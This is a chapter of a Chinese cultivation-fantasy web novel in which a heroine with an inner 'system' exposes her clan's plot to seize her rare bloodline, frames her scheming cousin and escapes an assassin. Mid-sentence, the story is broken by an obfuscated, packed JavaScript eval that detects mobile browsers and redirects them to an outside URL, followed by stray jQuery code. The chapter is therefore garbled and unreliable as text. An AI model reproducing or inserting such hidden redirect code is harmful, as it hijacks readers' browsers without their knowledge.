沈清茉盘坐于绣榻之上,双目微阖,面容静若秋水,周身气息沉凝。
然而,她那无形无质的神识,却已如一张精心编织的蛛网悄然蔓延开来,细致地探查着这座百年世家深藏的层层迷雾。
【系统恢复中...88%...能量视觉升级:可透视三层禁制...神识感知范围扩大至五百丈...】
脑海中冰冷的提示音接连响起,随之而来的是感知世界的骤然清晰。
能力的提升让她仿佛擦去了眼前的薄翳,更清晰地“看”清了沈家宅院之下隐藏的秘辛——地底纵横交错不知通向何方的幽暗密道;藏书阁深处那被重重符文封印,散发着晦涩波动的暗室;还有几处被强大禁制笼罩连升级后的神识也难以轻易穿透的神秘区域,如同蛰伏的巨兽散发着令人心悸的气息。
而最令她心神牵动的,却是沈家护宅大阵核心处,那块被称为“太虚镜”的碎片。
它正与潜藏在她灵魂深处的系统产生着奇异的共鸣,丝丝缕缕若有若无,每至子时月华最盛之际,这种呼唤便尤为强烈,仿佛源自血脉深处的牵引,让她无法忽视。
是夜子时,万籁俱寂,唯有冷月清辉洒落窗棂。
沈清茉再次感受到那来自祠堂方向的强烈召唤,她悄然睁眼,眸中一丝流光转瞬即逝。
随即,她身形如一抹淡烟悄无声息地滑下床榻,循着那玄妙的感应向沈家祠堂潜行而去。
祠堂乃是家族重地,供奉先祖英灵,沈家更是设下了三重强大的禁制严密守护,等闲弟子不得靠近。
然而沈清茉敏锐地察觉到,当太虚镜碎片的共鸣达到顶峰之时,那看似固若金汤的禁制光幕,会出现一刹那几乎难以察觉的细微波动。
【检测到禁制漏洞,持续时间三息...】
系统提示音响起。
沈清茉眸光一凝,心中暗喝:“就是现在!”
她足尖轻点,身形如清风拂柳又似鬼魅飘忽,抓住那稍纵即逝的间隙,瞬息间便穿过了禁制缝隙,无声无息地落入了祠堂之内。
祠堂内烛火长明,映照得四下如同白昼。
一排排黑沉沉的先祖牌位森然林立,肃穆庄严之气扑面而来。
她的目光第一时间便被正中央供奉的一幅古画吸引。
画中女子云髻峨峨,衣袂飘举,宛若乘风,其容貌竟与沈清茉有着七分神似,尤其是那双仿佛眼眸几乎如出一辙,画旁一行古篆题字赫然在目:“天外客沈氏祖师像”。
沈清茉心头猛地一震,呼吸为之一滞。
沈家开派祖师,竟也是天外之人?
这个发现让她心潮翻涌难以平静。
她强自镇定,移步仔细查看历代先祖牌位上的名讳与记载,很快便发现了一个惊人的规律。
沈家每隔三代,必会出现一位被称为“天外血脉”的后人,其特征便是发色瞳色异于寻常沈家人,且身负某种特殊能力。
而按照这个规律推算,在她这一代,本该觉醒天外血脉的应是长房嫡女——沈清瑜!
“原来如此...”
沈清茉喃喃低语,唇角泛起一丝若有若无的苦笑,心中豁然开朗。
难怪那位名义上的姐姐沈清瑜自她回归后,便处处针锋相对百般刁难,原来自己这个意外归来的“变数”,竟在无意中成了他人命定之路上的“绊脚石”。
正当她凝神思索,试图理清这纷乱线索之际,神识猛然预警——两股不弱的气息正迅速逼近祠堂!
沈清茉脸色微变,来不及细想身形立即如灵猫般向后一缩,完美地隐入高大牌位投下的浓重阴影之中,同时屏息凝神将周身气息收敛至最低,仿佛与周围的黑暗融为一体。
来者正是沈家大长老沈修远与一位身着宽大黑袍看不清面容的老者。
两人在祖师画像前驻足,声音压得极低,若非沈清茉神识过人几乎难以捕捉。
“血脉已然确认无疑,确是这一代的天外之人无疑。”
黑袍老者声音如同砂纸摩擦,带着一股阴冷之气,“时机已至,计划可以开始了。”
沈修远抚须沉吟,眉头微蹙:“此女性情看似温顺,实则内里刚硬,对沈家似乎心存芥蒂,未必肯心甘情愿配合我等。”
“无妨。”
黑袍老者发出一声短促的冷笑,袖中干枯的手指微微捻动,“只要设法激活其血脉,自有上古秘法可加以引导掌控,倒是那个沈清瑜……她知道得似乎有些过多了。”
沈修远面色一沉,语气骤然转冷:“清瑜那边老夫自有安排,不劳你费心,倒是你们答应助我沈家之事……”
黑袍老者打断道:“放心,只要‘容器’准备就绪,事成之后沈家便是当之无愧的天下第一修真世家!”
两人又低声密谈片刻,方才一前一后悄然离去。
阴影之中,沈清茉背心已被冷汗浸湿,心中更是骇浪翻涌。
原来沈家高层早已知晓她的身份,所谓的认祖归宗恐怕从头至尾都是一场精心设计的局,意在谋取她身上的天外血脉!
她屏息等待良久,确认再无动静后,才如一片落叶般悄无声息地退出祠堂,回到自己偏僻的秋棠院,这一夜,她望着窗外残月思绪万千,彻夜未眠。
次日清晨,院外早早传来一阵环佩叮当之声。
只见沈清瑜身着华服,莲步轻移翩然而至,身后侍女手中还提着一只精致的雕花食盒。
“听闻妹妹近日修炼刻苦,姐姐心中挂念,特地亲手炖了这盅百年参汤给妹妹补补身子,妹妹可莫要累坏了。”
沈清瑜笑容温婉得体,言语间满是关切。
她亲自打开食盒端出白玉汤碗,热气氤氲中,她亲手盛了一碗笑意盈盈地递到沈清茉面前。
沈清茉心中警铃大作,能量视觉悄然开启,只见那看似滋补的汤液中,隐隐有数缕灰黑色的异样能量如毒蛇般流转缠绕。
【毒术解析模块自动启动……】
【检测到“迷神散”成分,服用后意识昏沉,心神受制,易于操控,效果预计持续十二个时辰......】
好狠毒的心思!竟想用这等药物控制于我!
沈清茉心中冷笑连连,面上却瞬间绽放出受宠若惊的惊喜笑容,声音甜美地道:“姐姐待我真好,如此厚爱妹妹感激不尽。”
说着她伸出双手,作势要去接那汤碗,指尖刚触及碗壁却突然惊呼一声“哎呀!”,手腕仿佛不经意地一抖,整碗汤顿时倾翻,滚烫的汤汁大半泼洒在沈清瑜华丽的裙摆和光洁的地面上。
更令人心惊的是,那汤水落地竟“嗤嗤”作响,冒出缕缕诡异的白色烟雾,同时散发出淡淡的刺鼻气味。
沈清瑜猝不及防,看到汤水落地脸色骤然一变,她看着裙摆上的污渍和地上的白烟,眼角抽搐却强自挤出一丝笑容:“无妨,妹妹没烫着就好……这汤洒了真是可惜。”
沈清茉立刻捂住嘴睁大了眼睛,故作天真无邪地惊诧道:“姐姐你看!这汤……这汤怎么还会冒烟呀?莫非是什么仙家宝贝不成?我还是第一次见到呢!”
沈清瑜的笑容彻底僵硬在脸上,眼神闪过一丝慌乱,她一边用绣帕擦拭裙摆,一边掩饰道:“许是……许是这老参年份太久,药力过于刚猛......妹妹不必大惊小怪,既然汤洒了,妹妹也没事,姐姐就先回去更衣了,改日再来看你。”
说罢,几乎不敢再看沈清茉那双看似清澈无辜,实则让她心底发寒的眼睛,不等沈清茉在说些什么便带着侍女有些仓促地离开了秋棠院。
沈清瑜仓促离去的背影带着几分难以掩饰的狼狈。
院门合上的瞬间,沈清茉脸上那层天真无邪的伪装便如冰雪消融般褪去,取而代之的是一片冰封的寒意。
既然对方已将戏台搭到了面前,连下毒这等阴私手段都使了出来,她若再一味退让倒显得可欺了。
通过这段时日的暗中观察,沈清茉早已留意到沈清瑜行为颇有规律,每夜子时必会借口静修,独自前往后山一处极为隐蔽的洞府。
那地方灵气浓度异于寻常,似乎藏着什么不可告人的隐秘。
当夜子时,月隐星稀。
沈清茉凭借升级后的神识和对禁制的独特洞察力,先一步悄无声息地潜入了那处洞府,洞内陈设简单,却有一处暗格布置得极为巧妙,若非她能量视觉能透视寻常障碍,几乎难以发现。
打开暗格,里面赫然躺着几本材质古旧的典籍和一个温润的白玉药瓶。
【检测到禁忌古籍《夺脉秘术》残篇……记载强行剥离、转移他人血脉天赋之邪法……】
【检测到“噬心丹”……服用后心智渐失,终将成为施术者傀儡……】
冰冷的系统提示音印证了沈清茉最坏的猜想。
一股寒意自心底窜起,沈清瑜所图竟不仅仅是打压,而是想要彻底夺走她赖以生存的天外血脉!
这沈家,从高高在上的长老到备受瞩目的长房嫡女,内里早已腐朽不堪。
她心念电转间并未触动原物,而是利用系统强大的推演模拟功能,迅速制造出外表及灵力波动都几乎一模一样的仿品秘籍和丹药。
不同的是,这些仿品内里空空毫无效用,甚至还在不起眼处埋藏了微小的追踪印记和反制符文——若有人试图施展秘术或催动丹药,便会触发她预设的“惊喜”。
将真假物品调换完毕后,沈清茉仔细抹去一切痕迹,如来时一般悄无声息地消失在夜色中,仿佛从未踏足于此。
数日后,沉寂的沈家骤然热闹起来。
十年一度的家族大比正式拉开帷幕,所有沈家能修炼的年轻子弟均需参与,这不仅是展示修为扬名立万的舞台,更直接关系到各家未来十年所能获得的修炼资源多寡。
沈清茉本欲寻借口推辞,不欲过早暴露实力,然而主持家务的大伯母赵晗英却亲自发话,“清茉,你既已回家便理当参与族中盛事,也让诸位长辈看看你的进益。”
大比当日,演武场上旌旗招展人声鼎沸。
沈家年轻一辈的佼佼者齐聚于此,个个摩拳擦掌。
作为长房嫡女,沈清瑜第一个登场。
沈清瑜今日一身月白劲装,墨发高束,更显英气逼人。
她手持一柄寒光湛湛的青锋长剑,立于演武场中央,瞬间便吸引了全场目光。
只见她起手式一展,流云剑法随之舞动,剑招时而轻灵飘逸如流云漫卷,无迹可寻;时而迅疾凌厉似惊涛拍岸,气势磅礴。
剑光闪烁间,剑气化作一道道银色匹练,将她周身护得密不透风,激荡的剑气竟在空气中划出细微的嗤嗤声响,隐隐有破空之势。
这一手精纯娴熟的剑法,显然已得流云剑法之精髓,引得观礼台上端坐的几位沈家长老纷纷颔首,眼中流露出赞许之色,台下众多沈家子弟更是看得目眩神迷,爆发出阵阵由衷的喝彩与惊叹。
“清瑜师姐不愧是我沈家这一代的翘楚!”
“看这剑气凝练程度,怕是距离筑基后期也不远了吧?”
“此次大比头名,恐怕非清瑜师姐莫属了!”
在一片赞誉声中,沈清瑜收剑而立,目光似是不经意地扫过台下人群中的沈清茉,嘴角勾起一抹几不可察的矜持笑意。
沈清茉静立台下,沈清瑜的剑舞确实华丽,其天赋亦属上乘,但在她敏锐的神识感知下,那流转的剑气中却隐隐缠绕着一丝不易察觉的阴寒煞气,与沈家正统的清明功法格格不入,这绝非流云剑法本该有的气象,看来那《夺脉秘术》的邪功,她已然开始修炼。
轮到她上场时,四周投来的目光瞬间变得复杂起来,好奇、审视以及毫不掩饰的轻蔑,谁都想知道,这个从偏远蓟州接回来又“占了主支名分”的野丫头,究竟有几分斤两。
沈清茉面色平静的缓缓抽出腰间佩剑。
她并未施展任何华丽招式,只将沈家流传最广且最为基础的那套入门剑法,一板一眼地演练出来。
招式质朴无华,速度平缓,看上去甚至有些笨拙,与方才沈清瑜令人眼花缭乱的表演相比,简直云泥之别。
台下顿时响起一片压抑不住的嗤笑声。
“我当有多大本事,原来就会这几手三脚猫的功夫?”
“怕是连剑都拿不稳吧!也配站在这个台上?”
“真是丢尽了沈家的脸面,如何能与清瑜师姐相提并论!”
沈清瑜站在人群前方,嘴角难以抑制地扬起一抹得意的弧度,眼中尽是“果然如此”的轻蔑。
然而,高台主位之上一直闭目养神的大长老沈修远,却在此刻骤然睁开了双眼,目光锐利地盯住沈清茉那看似平平无奇的剑招。
以他的修为和眼力,如何看不出那简单招式之下,每一剑都圆融自如,劲力含而不露,隐隐蕴含着一丝返璞归真近乎于道的韵味!这绝非初学者所能达到的境界,此女对剑道的理解恐怕已臻化境,远非表面看起来那么简单。
她是在藏拙!
“好个藏拙的小丫头...”他心中冷笑,“竟将满堂修士都瞒了过去。”
思绪未落,场上已至最关键的灵力测试环节。
玄黑测灵碑矗立场中,沈家子弟依次上前。
当沈清瑜莲步轻移至测灵碑前时,整个演武场落针可闻,只见她优雅抬手,纤纤玉指轻触碑面,动作从容不迫。
“嗡——”
测灵碑应声而亮,一道纯净的青光自碑底升腾,瞬息间化作三丈光柱直冲云霄,那光芒凝实竟将半个演武场都映照得青莹莹一片,连空气都仿佛变得清新起来。
“筑基中期!清瑜师姐果真天赋异禀!”
观礼席上沈修文抚须赞叹,声音里满是欣慰,周围弟子更是激动不已,欢呼声此起彼伏。
沈清瑜缓缓收手,她目光似是不经意地扫过正准备上前的沈清茉,唇角微不可察地扬起一个讥诮的弧度,随即又恢复成端庄得体的模样。
场下顿时响起窃窃私语。
“接下来该那个蓟州来的...”
“听说在乡下长大,能有什么修为?”
几个站在前排的弟子甚至故意提高声量,引得周围一阵低笑。
沈清茉对这些议论充耳不闻,步履平稳地走到碑前,她今日只穿着最简单的素白练功服,墨发用一根木簪松松挽起,只见她伸手轻轻贴在冰凉的石碑上。
测灵碑亮起微弱白光,仅有一尺来高,在先前那道璀璨青辉的对比下显得黯淡无光。
“果然只是个炼气期!”
台下顿时爆发出阵阵哄笑,有人甚至夸张地前仰后合,几个站在沈清瑜身边的少女更是掩口轻笑,交换着意味深长的眼神。
沈清瑜优雅地半掩面容,看似是在整理仪容,实则遮住了嘴角抑制不住的冷笑,她眼波流转间尽是轻蔑,仿佛在看什么不堪入目的秽物。
就在这满场嘲弄达到顶峰的刹那——
“轰!”
测灵碑突然发出震耳欲聋的轰鸣,整块石碑剧烈震颤起来!一道七彩霞光自碑底喷薄而出,虹光贯日直冲九霄,那瑰丽的光芒瞬间吞没了先前所有的光华,将整个演武场笼罩在梦幻般的色彩中。
方才还在哄笑的人群顿时鸦雀无声,所有人都目瞪口呆地望着那道直冲云霄的七彩光柱,几个站在最前排的弟子甚至不自觉地后退了几步,脸上写满了惊骇。
高台之上,沈修远一直轻叩扶手的手指蓦然停顿,檀木扶手上竟被按出浅浅的指印。
他眯起双眼,眼底掠过一丝难以捕捉的精光,苍老的脸上第一次露出了凝重的神色。
霞光流转间映出沈清茉平静的侧脸,她缓缓收回贴在碑上的手,素白的衣袖在七彩光芒中轻轻摆动,仿佛只是做了一件再寻常不过的事。
“这...这是......天外血脉觉醒!”
一位须发皆白的老者猛地从座位上站起,指着那通天彻地的七彩光柱,声音因极致的震惊而颤抖不已。
全场先是一寂,随即爆发出山呼海啸般的哗然!
天外血脉!
那可是沈家流传了数百年的传说,据说拥有此血脉者天赋异禀,能沟通天地异力,是沈家祖师留下的至高传承!如今这传说中的血脉,竟在一个被众人嗤笑为“乡野丫头”的身上重现!
沈清瑜脸上的血色瞬间褪得干干净净,她死死盯着那绚烂的七彩光柱,指甲深深掐入掌心,渗出血丝也浑然不觉,那光芒如此刺眼,仿佛在嘲笑着她方才所有的得意与轻蔑。
沈清茉垂眸而立,心中冷笑。
这正是她想要的结果——故意以神识刺激体内血脉与太虚镜碎片产生强烈共鸣,引发这惊天异象,既然沈家主支心怀鬼胎,想将她当作棋子利用,那她便索性将这潭水彻底搅浑,看谁更能从中得利!
大比草草结束,但风波才刚刚开始。
沈清茉瞬间从一个人人轻视的“乡下野丫头”,变成了全场最炙手可热的天才,各房长老、管事态度骤变,纷纷带着笑脸前来问候示好,言辞间满是拉拢之意,就连她那自回府后便避而不见态度冷淡的生母赵晗月,都破天荒地派心腹嬷嬷送来了整整一箱的珍贵丹药与绫罗绸缎。
而原先风头无两的沈清瑜则自此称病不出,显然这番打击对她而言极为沉重。
是夜,月黑风高。
正在房中打坐的沈清茉忽然心神一动,通过早先暗藏在仿品秘籍中的印记,感应到后山那处隐蔽洞府传来了异常的能量波动。
她唇角微勾,身形如鬼魅般融入夜色,悄无声息地潜往后山。
洞府之内,烛火摇曳。
沈清瑜正盘坐于蒲团之上,面前摊开的正是那本被调包过的《夺脉秘术》仿品,她面容因激动和贪婪而微微扭曲,眼中闪烁着骇人的疯狂光芒。
“我的好妹妹......”
她低声自语,声音沙哑而渗人,“既然你如此不知死活,当众暴露这天赐血脉,那就别怪姐姐我心狠,替你‘收下’这份大礼了!”
说罢,她毫不犹豫地将那枚假的“噬心丹”吞入口中,随即双手结出复杂而诡异的手印,口中念念有词,开始按照秘籍所载施展那恶毒的夺脉秘术。
然而,一息、两息、三息过去......
洞内除了她的吟唱声再无任何异状,预想中血脉剥离的剧痛没有传来,吞下的丹药也如同石沉大海,没有半分效用。
“怎么回事?!为何毫无反应?!”
沈清瑜脸上的疯狂逐渐被惊疑取代,她手忙脚乱地再次翻动秘籍,额角渗出细密的冷汗,“不可能!这秘术绝不会有错!”
就在她焦躁不安,准备第三次尝试时——
“砰!”
洞府石门被人从外猛地撞开!急促而杂乱的脚步声骤然响起!
以大长老沈修远为首,数名面色冷峻的沈家长辈及弟子鱼贯而入,瞬间将小小的洞府围得水泄不通!火把的光芒将洞内照得亮如白昼,也照亮了沈清瑜那张惨无人色的脸。
“清瑜!你果然在此修炼此等伤天害理的邪术!”
沈修远须发皆张,怒目圆睁,声如洪钟,在整个洞府内回荡,“如今人赃并获,你还有何话说!来人,将她给我拿下!”
有弟子应声上前。
沈清瑜吓得魂飞魄散,惊慌失措地指着摊开的秘籍和一旁的空药瓶尖声叫道:“祖父!不是这样的!您听我解释!是沈清茉!是那个贱人设计陷害我!这些东西都是她......”
然而,《夺脉秘术》和“噬心丹”的药瓶都明晃晃地摆在那里,证据确凿,在沈修远冰冷的目光下,她的任何辩解都显得如此苍白无力。
沈修远重重叹息一声,仿佛瞬间苍老了十岁。他闭目沉默良久,再睁眼时,眸中只剩沉痛的决绝:“清瑜,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442762|185036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你……你太让祖父失望了!沈家百年清誉,岂容邪术玷污!从今日起,你禁足于清心院,没有我的命令,终生不得踏出半步!”
“祖父!我是被冤枉的!”
沈清瑜被两名弟子一左一右架住胳膊,挣扎间发髻散乱状若疯狂。
当她被强行拖出洞府时,目光如同淬毒的匕首死死剜向沈清茉藏身的那片阴影,眼中是倾尽四海之水也难以洗刷的刻骨怨毒。
沈清茉隐在暗处,如同一个冷静的旁观者,漠然注视着这出由她亲手推动的戏剧落幕。
那日调包时布下的微型监视法阵,以及今夜恰到好处不着痕迹地引沈修远前来“察觉异常”,每一步都在她的算计之中。
然而,当她回到清冷的秋棠院后,一股深沉的疲惫感却如潮水般涌上心头,这般步步为营时刻算计的日子,纵然能占尽先机,却也着实令人心力交瘁心生厌倦。
【系统恢复中...90%...检测到宿主心境出现较大波动...警告:道心不稳易生魔障,建议即刻凝神静气,稳固本源,勿为外界纷扰所困...】
系统冰冷的提示音让她心神一凛。
是了,道心为重!
这些家族倾轧人心鬼蜮,不过是修行路上必经的磨砺与尘埃,岂能因此动摇根本?
她长舒一口浊气,正欲摒除杂念盘膝静修,神识却骤然捕捉到一丝不同寻常的波动——
来自祠堂方向!那块太虚镜碎片正传来一阵强过一阵,前所未有的剧烈共鸣,仿佛在急切地呼唤着什么!
她眸光一凝,瞬间压下所有情绪,身形再次融入夜色。
今夜祠堂的禁制,在那强烈的共鸣下竟如同虚设,她轻易踏入其中,眼前的景象却让她顿住脚步——
那幅悬挂于正中央的祖师画像,此刻正散发着温润而圣洁的柔和光芒,将肃穆的祠堂映照得恍若白昼。
更令人震惊的是,画中那女子的影像竟如水波般荡漾起来,一个朦胧而清晰的虚影自画中缓缓浮现,衣袂飘举容貌清晰,正是画中之人!
“悠悠万载,终于等到你了,后来的天外之人。”
女子虚影唇角微扬含笑开口,其声空灵悠远,仿佛穿越了无尽时空直接响在沈清茉的心底。
沈清茉心神俱震,即便以她的心性,此刻也难掩惊骇。
那自称沈明月的虚影继续娓娓道来,眼神中带着追忆与一丝怅惘:“此界之内的流浪者总会不断寻觅归途,沈家,本是我为庇护那些如你我般流落此界的同族而创立的一方净土,可惜岁月流转,后世子孙渐被权欲蒙蔽双眼,早已忘却了这份最初的初衷。”
她目光柔和地落在沈清茉身上,仿佛能看透她灵魂深处的束缚:“你身上的天缚之印,并非单纯的封印枷锁,它更是一种保护,若强行完全解开,磅礴的天外气息便会如暗夜明灯,立刻引来此界天道的凝视与排斥,届时是福是祸犹未可知,你需万分谨慎。”
沈清茉深吸一口气,强压下心中的惊涛骇浪,半晌后终于找回了自己的声音,问出了那个困扰她已久的疑问:“明月前辈,您可知我为何会来到此界?我的归途又在何方?”
沈明月虚影微微摇头,身影似乎比刚才淡薄了一丝:“每个天外之人降临此界,皆有其独特的缘法与使命,如同星辰轨迹各不相同,我的道路已尽,而你的道路需要你自己去探寻。”
沈明月虚幻的身影愈发淡薄,她抬手指向那幅散发着微光的祖师画像后方,声音带着嘱托与期许:“那里,有我为本族后来者留下的真正传承,望你能谨守本心善用这份力量,莫要辜负‘天外之人’的身份,更不要辜负你自己。”
话音袅袅散去,虚影如轻烟般缓缓消散在空气中,祠堂内重归寂静,仿佛刚才的一切都只是一场幻梦。
沈清茉依言上前,小心翼翼地在画像后的墙壁上细细摸索,指尖触到一处极细微的凸起。
她轻轻按下,只听一声几不可闻的机括轻响,一块墙砖向内滑开露出了一个隐秘的暗格。
暗格之中,一枚流光溢彩符文隐现的玉简和一只材质温润样式古朴的手镯,正静静躺在那里,散发着岁月沉淀的气息。
【获得《明月心经》(天阶上品功法)...】
【获得明月镯(内含须弥空间,可成长)...】
带着这两件宝物,沈清茉悄然返回秋棠院。
布下简单的警戒禁制后,她开始静心检视此番奇遇的收获。
《明月心经》玄奥精深,字字珠玑,其运行法门竟与她体内的系统产生了奇妙的共鸣与契合,当她尝试按照心经路线运转周天时,只觉体内灵力如江河奔涌,流转间圆融自如,效率比以往提升了数倍不止!
而明月镯更是让她惊喜连连。
神识探入其中,沈清茉发现内部竟是一片极为广阔的须弥空间,空间内分门别类地存放着大量如今外界早已罕见的极品灵石、灵草药材以及各类炼器材料,堪称一座移动的宝库。
最令她心跳加速的是,那枚玉简之中竟详细记载着如何与太虚镜碎片建立更深层次联系,乃至初步操控其威能的方法!她立刻尝试依照玉简所述,以神识沟通体内的系统与祠堂深处的碎片。
藉由太虚镜碎片传来的微弱感应,她终于捕捉到了一些比以往清晰得多的信息片段,虽然依旧残破,却足以拼凑出惊人的线索:
【坐标...锁定...错误...修正中...】
【目标...状态异常...持续观察...】
【原定计划...变更...执行加速...】
同时,还有一段结构极其复杂、加密等级极高的信息流一闪而过,她的系统立刻全力运转,调动所有算力开始尝试破解。
正当她沉浸在这些纷至沓来的信息和思索中时,一丝极其隐晦却冰冷刺骨的杀机如同暗夜中的毒蛇,骤然向她袭来!
有人避开了她布下的所有警戒,悄无声息地潜入了秋棠院!
沈清茉心中警铃大作,瞬间收敛所有气息,身形如融化的冰雪般悄无声息地滑入房间最黑暗的角落阴影之中,与黑暗彻底融为一体。
来人身法极快,如同鬼魅般闪入卧室,却发现床榻上空无一人,当即意识到不妙,发出一声低沉的惊呼:“不好!”
但已然太迟了。
沈清茉如同从阴影中诞生的幽灵倏然现身,手中冰魄短剑带着凛冽的寒意,精准无比地抵在了对方脆弱的咽喉之上,剑锋的冰冷触感让来人的皮肤瞬间起了一层鸡皮疙瘩。
“二伯母,”沈清茉的声音平静无波,却带着一丝彻骨的寒意,“深夜大驾光临我这偏僻小院,不知有何指教?”
火折子微弱的光芒照亮了来人的面容,竟是平日里总是笑容可掬的二夫人王素素!此刻她面色煞白如纸,强自镇定地挤出一丝僵硬的笑容:“清...清茉,你误会了,伯母只是……只是顺路过来看看你歇息得可好…”
“哦?”
沈清茉唇角勾起一抹冰冷的弧度,手腕微动,剑尖灵巧地向下一挑,只听“叮当”一声,一柄泛着幽蓝寒光明显淬了剧毒的短匕便从王素素的袖中滑落在地,“带着淬了‘碧磷’剧毒的匕首来看我?二伯母的关怀可真是别致得很啊。”
王素素只觉咽喉处的剑锋又逼近半分,冰冷的死亡触感让她心理防线彻底崩溃,她浑身抖如筛糠颤声尖叫道:“是...是大夫人!是赵晗英指使我来的!她说...她说你的存在已经严重威胁到了清瑜的地位,绝不能留你......”
沈清茉眸光一凛,心中了然。
果然是她那位大伯母按捺不住抢先出手了,看来白日里送来的那些厚礼,不过是麻痹她的障眼法。
剑锋下王素素面如死灰,正待吐露更多内情,院外却陡然传来一道凌厉破空之声!
不待沈清茉反应,一道黑影如鬼魅般掠入,袖袍一卷,竟生生从她剑下将王素素夺走!那人得手后毫不停留,身形一晃便消失在沉沉夜色之中,只留下一缕若有若无的阴冷气息。
沈清茉持剑而立并未追击。
对方身手极高,且显然有备而来,强留未必能占上风。
王素素被救走,意味着她夜袭未遂的消息很可能立刻传入大夫人耳中,对方必有后手。
沈家已成虎狼之穴,危机四伏。
她心念电转间一计即刻成形!必须抢在对方发难之前,金蝉脱壳!
次日黎明,秋棠院便传出一道消息。
三小姐沈清茉因急于参悟新得功法不慎行差踏错,导致灵力逆行走火入魔,伤势极为沉重需立即闭死关疗伤,期间严禁任何探视,否则有性命之虞。
消息传出,沈家各方反应微妙。
大长老沈修远率先亲至,立于静室门外,强大的神识如潮水般透门而入仔细探查。
室内沈清茉以《明月心经》中的秘法模拟出的气息紊乱不堪,灵力狂暴四溢的假象,不论怎么查确似经脉受损走火入魔之象。
他面色凝重,抚须沉吟片刻方沉声向门内嘱咐:“修行之路漫长,最忌急功近利,你且安心静养,稳固根基为上,万事待出关后再议。”
言罢方才转身离去,宽大的袖袍在晨风中微动,目光深处却藏着一丝难以察觉的思量。
令人颇感意外的是,一向深居简出,与长房不甚和睦的二房老太爷沈修文,竟也拄着蟠龙杖,在一众仆从的簇拥下匆匆赶来。
他并未如沈修远那般以神识强行探查,而是眯着一双看似昏花的老眼静静立于院中,鼻翼微不可察地轻轻翕动,仿佛在空气中捕捉着某种细微的痕迹。
半晌,他布满皱纹的脸上看不出喜怒,只对着石门方向沙哑道:“小丫头,路要一步一步走,饭要一口一口吃,沈家的根基,不在几本功法上。”
这话说得意味深长,似有关切又似别有深意,说完便不再停留颤巍巍地转身离去。